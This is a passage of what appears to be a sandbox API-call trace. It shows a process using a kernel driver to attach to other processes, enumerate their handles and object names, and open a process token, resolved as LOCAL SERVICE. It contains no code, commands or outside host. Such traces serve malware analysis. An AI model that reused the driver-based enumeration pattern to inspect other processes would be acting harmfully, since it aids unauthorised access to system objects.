PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.837] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f4690, HandleInformation=0x0) returned 0x0 [0131.837] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.837] PsReleaseProcessExitSynchronization () returned 0x2 [0131.837] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.837] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.837] ObfDereferenceObject (Object=0xfffffa80030f4690) returned 0x1 [0131.837] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.837] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.837] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.837] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.837] PsAcquireProcessExitSynchronization () returned 0x0 [0131.837] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.837] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030fb4f0, HandleInformation=0x0) returned 0x0 [0131.837] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.837] PsReleaseProcessExitSynchronization () returned 0x2 [0131.837] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.837] ObQueryNameString (in: Object=0xfffffa80030fb4f0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.837] ObfDereferenceObject (Object=0xfffffa80030fb4f0) returned 0x2 [0131.837] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.837] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.837] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.837] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.837] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.837] PsAcquireProcessExitSynchronization () returned 0x0 [0131.837] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.837] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030fd470, HandleInformation=0x0) returned 0x0 [0131.837] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.838] PsReleaseProcessExitSynchronization () returned 0x2 [0131.838] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.838] ObQueryNameString (in: Object=0xfffffa80030fd470, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.838] ObfDereferenceObject (Object=0xfffffa80030fd470) returned 0x2 [0131.838] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.838] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.838] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.838] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.838] PsAcquireProcessExitSynchronization () returned 0x0 [0131.838] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.838] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030fcd10, HandleInformation=0x0) returned 0x0 [0131.838] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.838] PsReleaseProcessExitSynchronization () returned 0x2 [0131.838] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.838] ObQueryNameString (in: Object=0xfffffa80030fcd10, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.838] ObfDereferenceObject (Object=0xfffffa80030fcd10) returned 0x1 [0131.838] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.838] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.838] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.838] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.838] PsAcquireProcessExitSynchronization () returned 0x0 [0131.838] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.838] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030fca70, HandleInformation=0x0) returned 0x0 [0131.838] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.838] PsReleaseProcessExitSynchronization () returned 0x2 [0131.838] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.838] ObQueryNameString (in: Object=0xfffffa80030fca70, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.838] ObfDereferenceObject (Object=0xfffffa80030fca70) returned 0x2 [0131.838] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.838] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.838] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.839] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.839] PsAcquireProcessExitSynchronization () returned 0x0 [0131.839] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.839] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030fc920, HandleInformation=0x0) returned 0x0 [0131.839] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.839] PsReleaseProcessExitSynchronization () returned 0x2 [0131.839] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.839] ObQueryNameString (in: Object=0xfffffa80030fc920, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.839] ObfDereferenceObject (Object=0xfffffa80030fc920) returned 0x1 [0131.839] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.839] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.839] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.839] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.839] PsAcquireProcessExitSynchronization () returned 0x0 [0131.839] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.839] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.839] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.839] PsReleaseProcessExitSynchronization () returned 0x2 [0131.839] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.839] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.839] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.839] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.839] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.839] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0131.839] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.839] PsAcquireProcessExitSynchronization () returned 0x0 [0131.839] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880050005d0) [0131.839] ObReferenceObjectByHandle (in: Handle=0x23c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0131.839] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.839] PsReleaseProcessExitSynchronization () returned 0x2 [0131.839] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0131.839] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.840] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0131.840] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.840] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.840] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0xc0 [0131.840] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.840] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80030fdb30, HandleInformation=0x0) returned 0x0 [0131.840] ObOpenObjectByPointer (in: Object=0xfffffa80030fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800006d4) returned 0x0 [0131.840] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x101 [0131.840] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800006d4, DesiredAccess=0x8, TokenHandle=0xfffffa800289e880 | out: TokenHandle=0xfffffa800289e880*=0xc8) returned 0x0 [0131.840] ZwClose (Handle=0xffffffff800006d4) returned 0x0 [0131.840] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.840] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.840] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.841] CloseHandle (hObject=0xc8) returned 1 [0131.841] CloseHandle (hObject=0xc0) returned 1 [0131.842] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.842] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.842] PsAcquireProcessExitSynchronization () returned 0x0 [0131.842] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.842] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003102070, HandleInformation=0x0) returned 0x0 [0131.842] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.842] PsReleaseProcessExitSynchronization () returned 0x2 [0131.842] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.842] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.842] ObfDereferenceObject (Object=0xfffffa8003102070) returned 0x1 [0131.842] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.842] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.842] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.842] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.842] PsAcquireProcessExitSynchronization () returned 0x0 [0131.842] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.842] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031063b0, HandleInformation=0x0) returned 0x0 [0131.842] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.842] PsReleaseProcessExitSynchronization () returned 0x2 [0131.842] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.842] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0131.842] ObfDereferenceObject (Object=0xfffffa80031063b0) returned 0x1 [0131.842] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.842] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.842] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.842] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.842] PsAcquireProcessExitSynchronization () returned 0x0 [0131.842] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.843] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800311aa30, HandleInformation=0x0) returned 0x0 [0131.843] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.843] PsReleaseProcessExitSynchronization () returned 0x2 [0131.843] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.843] ObQueryNameString (in: Object=0xfffffa800311aa30, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.843] ObfDereferenceObject (Object=0xfffffa800311aa30) returned 0x2 [0131.843] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.843] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.843] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.843] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.843] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.843] PsAcquireProcessExitSynchronization () returned 0x0 [0131.843] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.843] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800311acd0, HandleInformation=0x0) returned 0x0 [0131.843] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.843] PsReleaseProcessExitSynchronization () returned 0x2 [0131.843] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.843] ObQueryNameString (in: Object=0xfffffa800311acd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.843] ObfDereferenceObject (Object=0xfffffa800311acd0) returned 0x1 [0131.843] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.843] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.843] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.843] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0131.843] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.843] PsAcquireProcessExitSynchronization () returned 0x0 [0131.843] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.843] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800311be90, HandleInformation=0x0) returned 0x0 [0131.843] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.843] PsReleaseProcessExitSynchronization () returned 0x2 [0131.843] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.843] ObQueryNameString (in: Object=0xfffffa800311be90, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.843] ObfDereferenceObject (Object=0xfffffa800311be90) returned 0x1 [0131.843] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.844] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.844] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.844] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0131.844] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.844] PsAcquireProcessExitSynchronization () returned 0x0 [0131.844] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.844] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003124d10, HandleInformation=0x0) returned 0x0 [0131.844] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.844] PsReleaseProcessExitSynchronization () returned 0x2 [0131.844] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xff [0131.844] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.844] ObfDereferenceObject (Object=0xfffffa8003124d10) returned 0x1 [0131.844] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.844] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.844] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.844] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0131.844] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.844] PsAcquireProcessExitSynchronization () returned 0x0 [0131.844] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.844] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003124b80, HandleInformation=0x0) returned 0x0 [0131.844] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.844] 